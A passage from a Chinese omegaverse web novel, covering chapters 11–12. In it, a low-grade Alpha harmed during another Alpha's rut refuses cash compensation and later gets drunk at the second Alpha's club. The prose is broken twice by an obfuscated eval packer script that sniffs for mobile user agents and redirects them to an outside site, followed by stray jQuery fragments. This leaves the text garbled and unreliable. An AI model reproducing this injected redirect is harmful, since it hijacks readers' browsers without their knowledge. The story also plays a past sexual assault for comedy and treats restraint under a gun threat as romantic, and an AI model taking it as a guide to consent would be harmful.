李晃伸手探了探,眼前什么都看不见。黑着说话真不习惯,他刚想再问问能不能出去说,手腕猛地被掐住收紧,紧接着,一股气息朝他逼近。 “只要有钱,残废了也无所谓,是吗?” 11. 好奇宝宝 “黑黢黢的,你怎么一下就抓到我手了!” 李晃压根没听清Alpha问了什么,黑暗里那道身影近在咫尺,他惊讶多过恐惧,挣了几下手腕,羡慕道:“A级真厉害啊,我是C级,就只有力气大,结果还没你的大。” “……”刑焱有生之年第二回被噎了一下。 他原打算收拾这个傻子,给过第二次机会还不识好歹,说得理直气壮,怎么会蠢到以为腺体是能随便咬坏的? 李晃挣不开手腕,慢半拍才察觉到Alpha在生气,忙问:“你刚才说什么?我没听清。”又顺势讨饶,“这儿太黑了,我一怕黑耳朵就不好使。” “……” 刑焱甚至怀疑,这傻子或许不知道自己腺体受损的程度,算得上生理残废了。胆子已经足够怂,竟还这么怕黑,再计较倒显得自己小气。 他松开李晃的手腕,转身去开了主灯。 整个包间瞬间大亮,李晃差点被亮瞎,忙闭紧眼,眯着眨巴了好一会儿才适应光线。等彻底睁开眼,就直直撞上一双冷眼,一身黑的Alpha立在门前盯着他,气势比龙胜那个黑老大还要足。 “你刚才说什么?”李晃现在门儿清了,疯狗气不消,是不会放他走的。 “你腺体受损的程度,”刑焱停顿了几秒,目光里的捉弄半点没藏,话锋一转,“两百万够吗?” 李晃一愣,没想到这疯狗居然会问他钱够不够,心里头认定对方是真知道错了。他忙不迭点头:“够,够的!两百万已经很多了,我这辈子都挣不到这么多钱。” 刑焱看着Alpha浑然不觉的蠢相,还在那傻乎乎地点头,便没再收着:“腺体是我咬坏的,残废了也无所谓?没有Omega会要你,你这辈子都结不了婚。” “……”李晃整个儿一僵。 其实他明白的,就因为这生理残疾,他一直找不到合适的人生伴侣,Omega只会嫌弃他。 只是第一次被人这么直白戳破,心里不太好受。以前任哥安慰过他,真爱能包容一切,可他到现在也没遇上能包容他的人,这辈子大概都遇不上了。 “会有的,”李晃下意识握紧手,硬替自己争了句,“会有人要我的。” “没有Omega会要一个失去标记能力的残废。” “……” 李晃被堵得说不出话来,嘴巴张了又张,脑子转了又转,直到手心攥出汗,才赌气般顶了回去:“那,那还有Beta呢,你管不着!” 刑焱等半天等来这么一句蠢话,又觉荒唐,且可笑。他到底在干什么?跟一傻子争论这种有没有人要的破事。 “易感期发作后的那些行为,”尽管厌恶被本能牵着走,刑焱也不得不承认当时的无能为力,“我控制不了。对你造成的伤害我会负责,你开个价。” “什么?”李晃犯起迷糊,“你不是让陆总给我两百万了吗?工头没结的工钱,小林也补给我了。” 明亮的光线下,刑焱眼中只有个一脸茫然的Alpha,对方没了那日见钱眼开的谄媚笑脸。 与傻子沟通是那么费劲,他压下窜上来的躁意:“那是身体上的补偿。心理上的,你开个价。” 李晃身体已经恢复,两百万也顺利把江唐赎了出来,后面治疗住院全是陆总掏的钱,相当于这疯狗出的。除了做过两回荤梦、脑子里冷不丁蹦出些荤画面,他早跟没事人一样。这会儿被突然一问,脑子当场就乱了。 “给你五分钟想。”刑焱低头看了眼表。 这要开什么价啊……李晃刚一想,思绪就不受控地往那三天三夜里飞,顿时浑身不自在,况且折腾他的疯狗还就站在跟前等着。他局促地踱了两步,又抓了把头发,眼神没好意思往门那边飘。 他觉得自己心理上也没出什么毛病,该吃吃该喝喝,昨晚睡得很香,连荤梦都没做。事情都过去了,陆总给安排了这么好的工作,非要说什么心理赔偿…… 安静的包间里,只剩下脚步声来来回回,一步一响。刑焱背抵着门,两手插兜,就那么看着Alpha转圈圈。许久,他抽出左手,又低头看了眼表。 这傻子是真挺不识好歹,能想上二十分钟。 耐心彻底耗尽,刑焱准备亲自开价,Alpha却忽然停下脚步,转向他。一双透亮的眼睛朝他望过来,神情认真,和那张照片里一模一样,带着几分天真憨气。 “我想好了!”李晃语气一扬,为自己机灵的脑瓜暗暗自喜。 刑焱直起身,说:“开价吧。” “我不要钱,”李晃摆出一副视金钱如粪土的模样,“心理上的伤害,不是给钱就能解决的。” 刑焱微眯了下眼,沉默地看他。 “你给我造成的心理伤害太多了。”怕刑焱不信,李晃一本正经掰着手指头跟他细数,“我是从你正常的时候开始算的,不信你自己也想想。你拿枪怼过我头,那多吓人啊,每次还给我甩脸子,像个讨债的。我现在一看见你就心慌,心脏突突的,下午你还想骗我进休息室,我都说了我释放不出来信息素,你还不信,还往死里掐我,这也特别吓人。” 刑焱:“……” “差点忘了,”李晃想到哪儿说到哪儿,又赶紧补上,“你还骂我蠢货。我觉得我不蠢,也不傻,我脑子挺机灵的,你这么骂我我心里受不了。刚才也是,你非说我没人要,这话我也不爱听,对我都算伤害。” 刑焱听着Alpha头头是道地控诉他的“罪行”,一条一条,掰得清清楚楚。 等那一张一合的唇闭上,他才开口:“还有吗?” “那我再想想,”李晃转头认真琢磨起来,没留意Alpha愈发沉下去的脸色,“哦,还真有!你有话能不能好好说啊?老拽我,下午在医院就拽我,刚才又拽,我说怕黑,你也不给我开灯。不过这些伤害不算大,就算了。” 刑焱最后问:“没了?” “应该没了……”李晃想想都差不多了,才说出关键,“我要的赔偿就是,你以后不能对我掏枪,不能掐我脖子,不能骂我,也不能来找我麻烦。有话要跟我好好说,你看你现在这样多正常,我心就不突突了。” 包间里一时静了下来。 李晃心里嘀咕,话说到这份上,自己都忍住了金钱诱惑,一分钱没要,以后总该平安无事了吧。 就是这疯狗,怎么光杵那儿不吭声呢?要不少要点钱?本来也是真被吓着了。 Alpha还是那张跟讨债似的冷脸,李晃没底,小心地问:“我开的这个要求,你能接受不?” 刑焱没说话,转身打开门,以平静的眼神回头看了李晃一眼,扔下一句:“到此为止。你该庆幸,我情绪比以前稳定。” ……疯狗在说什么玩意儿?李晃直接蒙圈。 守在门外的小林,一瞧刑总那能刀人的冷脸,火速鞠躬。等对方离去,再看包间里木头木脑站着的李晃,忙跑进去问:“李晃,你没事吧?这包间隔音太好,我什么都听不见,还以为你被刑总霸王硬上弓了。” “小林,”李晃问,“他说到此为止,是不是放过我了啊?” 小林:“前因后果是什么,你说说看。” 李晃回想了一下:“他让我留在这儿工作,还说要对我负责,那两百万是赔我身体上的伤,心理的伤还没算,让我开个价。我其实很心动的,可我怕他再来弄我,就没要他的钱,跟他说以后不能对我掏枪,不能掐我脖子,也不能骂我,然后他就说到此为止,出去了。” “恭喜你!”小林一把握住李晃的手,“妥了!到此为止的意思就是,他以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小林刚打开包间门,又飞快关上:“李晃,你陪我喝两口,我告诉你个大秘密,关于刑总的。” “……唐唐还在等我。”李晃的好奇心一下被勾了起来,心里又想知道又不想知道,乱糟糟的。 小林惯会察言观色,见李晃跟个好奇宝宝似的,纠结时眼神飘来飘去,还会抿嘴,一看就很好哄:“我给唐唐打电话说一声,保证把你安全送回医院,好不好?” “好吧,那我陪你喝两口。”李晃有些无奈地说。 “嘘,”小林神神秘秘,声音很轻,“这是我偷听来的。北城不少少爷来过尊悦,喝多了嘴上没把门,说刑总是丧门星,被陆总狠狠一顿收拾,直接拉进黑名单。哎,也不算什么大秘密,只是大家都避讳不提,算是刑家的禁忌,网上也查不到。” 李晃这下真成好奇宝宝了,眼都没眨一下。 小林:“刑家在北城地位数一数二,是真正的贵族豪门。刑总排行老四,他有个亲弟弟,十几年前被绑匪撕票了,死得特别惨,据说是为他而死的。” 李晃:“啊……” 小林:“刑家特别迷信,就因为这事,都觉得刑总晦气,会给家族招血光之灾。后来他跟着他爸搬来了海城,结果你猜怎么着,几年前,他的父亲也出意外死了。” 李晃:“啊,他……” 见李晃惊得张着嘴巴,一副傻愣愣的样子,小林问:“是不是记不住了?那我说慢点儿。刑家和白家是联姻,刑总有两个爹,是他的Alpha爹出意外死了,第二年他就搬回了刑家。我听说他那几个兄弟姐妹,全是S级的Alpha和Omega,就他一个A级,他在刑家受尽冷眼,谁都看不起他,还觉得他是丧门星,你说他能不自卑吗?” 小林讲得慢,李晃却很快地消化完了。 等被带进隔壁包间,他一眼就看见坐在阴影里的那个Alpha。 第一反应不是心慌,心也没突突乱跳,只是莫名有点后悔,听了这么大一个秘密。 真是,早知道就不好奇了…… 12.自作多情 “小李,”陆乾举着酒杯冲李晃笑了笑,“这会所跟刑总没什么关系,是我的地盘,你安心做事。他再欺负你,随时找我,我给你撑腰。” 就冲陆乾主动给江唐安排最好的医疗条件,李晃对这个未来老板印象就不差。加上小林说他只能喝两口,陆总果真没给他多倒,好感又多了些。 “谢谢陆总。”李晃新鲜地盯着酒杯里两口洋酒,凑到鼻前闻了闻,说不上来是什么味儿,奇奇怪怪的,只闻出点果香。 小林沾了李晃的光,在一旁给他慢慢介绍,什么焦糖、烟熏、各类香气绕来绕去,听得李晃云里雾里,又跟好奇宝宝似的反问,什么焦糖,什么烟熏,酒还要熏呢? “行了小林,喝你的。”陆乾无视角落里的深沉表弟,往李晃身边挪了挪,“以前没喝过么?这酒香气足,入口甜,也不冲喉,尝一下。” 李晃以前只跟任哥喝过啤酒,老实点了点头。他尝了一口,本以为会难喝,结果入口还真是甜的,带着淡淡果香,爽口不辣嗓子,很好喝。 白晏也举杯朝李晃示意了下,随陆乾一同喊了声“小李”,语气温和道:“刑焱他体质弱,那次忘了打抑制剂才导致易感期突发,我代他跟你说声对不起,让你受了委屈。以后遇上什么难处,尽管找陆总。” 陆乾瞥白晏一眼,又瞥过角落里还在装深沉的某人,那眼神分明在说:合着我又成老妈子了? “啊,没事的,都过去了!”李晃没想到白总会这么客气,忙把酒杯举高回敬,仰头一口干了。他意犹未尽地咂咂嘴,两口都不够塞牙缝。 “再来点?”陆乾刚拿起酒瓶,就见二愣子双手捧着酒杯凑过来道谢,觉得有趣,故意逗他,“喜欢喝没什么,可不能贪杯哦,醉了容易出事。” “嗯,嗯。”李晃心里盘算着再喝这一杯,暗自纳闷,原来自己不爱喝的只是啤酒。果然一分钱一分货,几十万的酒就是好喝,怪不得小林说能尝到是福气。 刑焱始终坐在角落,安静得像具尸体。 白晏扫过刑焱面前空了的酒杯,见他靠坐在沙发上一动不动,便坐过去低声问:“酒也喝完了,什么时候回北城?” 刑焱依旧坐着,一声不吭。 白晏顺着他的目光转向陆乾那边,那个叫李晃的Alpha把酒当饮料喝,咧着嘴直乐呵。已是成年人的模样,却透出与年龄不符的天真纯粹。正如陆乾所说,那是装不出来的。而刑焱这般多虑,目光全凝在那个Alpha身上,原因也只有一个。 “小李,酒得慢慢品,喝急了伤胃。”陆乾笑劝李晃,“变成工伤,我多过意不去?” 小林看得干瞪眼,说好不喝酒的人,喝起来比谁都凶,回头真醉了怎么办?他赶紧附和:“是啊李晃,你——”还没说完,便察觉老板递来的眼神,立马缩回边上做缩头乌龟了。 陆乾又拿起酒瓶给李晃倒酒:“最后一杯,慢慢喝,喝完我让小林送你回去。” “好,”李晃对未来老板好感直线飙升,喝美了痛快应下,“谢谢陆总。” ……还谢呢你个二愣子!我说陆总本事大得很,可没说他是个好东西啊!小林在心里大喊,偏偏制止不了一点。兜里手机震动,他掏出来一看,是江唐发来的消息。 【小林哥,李哥是这世上对我最好的人,我把他当亲哥一样,拜托你多盯着他行吗?他太老实了,被人卖了还能帮着数钱,他愿意陪你喝酒是把你当朋友,信任你,我也信任你。】 小林没敢回,匆匆把手机塞回裤兜,不停默念:别信任我,别信任我……人在江湖身不由己,对不住了唐唐! 角落里忽然传来一声:“陆总亲自陪酒,倒是尽心。” 陆乾转头,略带意外地扬了下眉:“刑总?我还以为你早回北城了,怎么还在这儿。” “停,”白晏出声打断,“你俩今年多大了?把会所当家了?” 陆乾轻笑着接茬:“我是挺成熟稳重的,你问他,估计毛还没长齐。” “你长齐了?”刑焱沉着脸,从没见过陆乾这么幼稚,跟个傻子都能凑到一块儿。 陆乾:“小白你瞧瞧,我招待我的新员工,他跟我这儿夹枪带棒的。” 李晃有些懵,方才一听见“北城”,立马想起小林先前跟他说的那个大秘密。下意识一扭头,正好撞上刑焱的目光,还是那副讨债似的冷眉冷眼。 他本能地慌了下,心里顶不乐意,明明都说好到此为止的。可转念一想,这疯狗最亲的爹和弟弟都没了,还被家族里嫌弃,骂成丧门星,比“蠢货”难听了几千倍,换作是他自己,肯定也受不了。 还是个A级Alpha,比他这个C级强出不知多少,却遭尽冷眼。 看来又自卑了,这是要跟陆总比谁的毛多呢。李晃想着喝完最后一杯就走,脑子里冷不丁蹦出一根雄.伟的烧火棍,上头还长着一片齐了的毛.发,怎么瞧都特别有气势。身为一个Alpha,李晃向来觉得自己很雄.伟,之前在码头公厕,还有工人满眼羡慕地夸过他,说谁嫁给他有福了。他忍不住好奇,A级的就那么瘆人,那S级的得多大啊? 李晃一个激灵,才惊觉自己竟在回想疯狗那折腾过他的瘆人玩意儿,瞬间脸热。他仰头把整杯酒咕咚咕咚灌了下肚,谁知喝急了又呛得直咳嗽。 “李晃。”小林急忙过去帮李晃拍背,刚拍一下,胳膊就被一股大力狠狠掐住,直接甩开。他一抬头见是冷面刑总,迅速缩回边上继续做他的缩头乌龟了。 刑焱没理会还在咳嗽的Alpha,只掠过那张不知是被呛红还是被酒意熏红的脸。他垂眼看向陆乾,面无表情,语气反倒平静:“别让他喝了。” 转而又吩咐白晏:“白晏,你先送他回去。” “小林,”陆乾挥退助理,“这儿没你的事了,下班吧。” “好的,陆总。”小林起身时趁机瞟了眼李晃,人不咳嗽了,但整张脸通红,要命的是那双眼睛还含着水光,又傻又可怜。他刚走两步,就听见李晃喊他。 “小林,一块儿走。你喝酒了不能开车,我骑车送你。” “……”小林握紧拳头,简直服了这个没眼力见儿的二愣子,怎么就那么傻,害他良心不安呢!他咬咬牙,就当自己喝醉了,当即回头,“陆总,还是让我送小李吧,他要去医院照顾他弟,刚才他弟给我来消息了。” 陆乾没管立在一旁的表弟,拍了拍李晃的肩:“小李,你脸挺红的,没醉吧?” “没,没有!”李晃连连摇头,哪敢说自己的脸是被疯狗那烧火棍给烫红的,吓死谁了。 “眼泪都咳出来了,怪我,给你倒那么多酒。”陆乾叮嘱,“车别骑了,会所有司机,我让小林安排,你跟他走吧。” “好,”李晃站起来,晃了晃有点发晕的脑袋,估摸着是刚才喝急了后劲儿上来得快。 他记着去码头干活前江唐教过他,得适当拍马屁、说点好听的才不会受欺负。虽然陆总不会欺负他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17461273|201272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可他还是觉得该表个态:“谢谢陆总请我喝这么好这么贵的酒,真是我的福气!我会好好干的!” 陆乾当场笑出声,也跟着起身。察觉到白晏投来的视线,再一瞥旁边脸色阴沉的表弟,他清了清嗓子,笑道:“小李,要谢就谢刑总吧,酒是他的,我呀沾了你的光。” 刑焱看不惯陆乾那套风月场上的做派,更看不惯这个低级Alpha为了两杯酒露出的蠢相。 已经到此为止,他会兑现李晃所要求的赔偿,彻底划清界限。他冷眼盯着转向自己的男人,没给对方半点开口的机会:“没请你,别自作多情。” “……我没那么想。”怕被误解,李晃急急忙忙解释,“我知道你没请我,可我已经喝进肚子里,吐不出来了,该说声谢谢的。谢谢刑总,那酒真的很好喝。” 刑焱:“……” 陆乾对这表弟没话说,摇摇头:“小李,快回去吧。” 小林在边上看得直咋舌,傻也有傻的好处,这二愣子就这么傻着吧,大不了以后自己多照应着点儿。他打开包间门,偷偷冲李晃招了招手。 李晃跟另外两位总打过招呼,转身正要走,才擦过某人身侧,猝不及防就被一股力量攫住。那劲儿凶得几乎要把他的夹克扯脱,他身形一歪险些摔倒,下一秒便直接被拽进一个结结实实的怀抱。 脑子空白一瞬,李晃回过神后慌得拼命挣扎,可揽在腰上的手臂纹丝不动,后颈也被一只手牢牢扣住,他惊声嚷嚷起来:“你,你干什么——” “刑焱,你干什么!”陆乾不知道表弟发什么疯,刚要上前,就被刑焱一记冷眼钉在原地。 白晏迅速起身,上前两步劝道:“刑焱,你先把人放开。” “你们都出去。”刑焱紧紧圈住怀里仍在挣扎的Alpha,凑到李晃耳边说,“别动。” 陆乾瞧不上表弟那套粗暴做派,这会儿是真看不下去了,先让小林出去安排司机。等门一关,他尝试劝刑焱:“小李是我员工,你赶紧放开他,有什么话坐下来好好说,别把人吓坏了。” “我叫你们出去,听不懂?” 想到刑焱突然不规律的易感期,陆乾立刻察觉出不对:“你是不是易感期又要发作了?” 李晃被死死禁锢着,一听这话魂都快吓飞了,死命挣扎:“撒手啊你!我不跟你搞那事!我屁股才养好!”又慌慌张张扭头向陆乾求救,“陆总,救命啊!你说给我撑腰的!” “……”陆乾啪啪打脸,一时没眼看那个苦哈哈的二愣子,转头看白晏,“他要是真发作,咱俩不一定弄得住他,要不趁现在直接给他打晕?” 白晏冷静道:“我考虑一下。” “我很清醒,你们出去。”刑焱没料到这傻子挣扎起来劲儿还不小,他收紧手臂把李晃抱得更紧,附在他耳边低声警告了一句,“安分点,还是想我现在就掏枪?” 李晃当即老实了,不敢再挣扎,乖乖缩在这个快要让他窒息的怀抱里。 “刑焱,”白晏说,“我们可以出去,但你得说清楚,你想做什么。” 刑焱没有回答,只是慢慢把脸埋进Alpha颈间,肌肤相贴。感受到怀里人的颤抖,他伸手探进夹克,掌心有点笨拙地抚了几下那僵硬的脊背,然后深深嗅了一口。 他就那样埋在Alpha颈间,闻着自己本该排斥的信息素,像终于得了片刻的餍足,才抬眼,看向边上碍眼的两个人。 “我不会伤害他,出去。”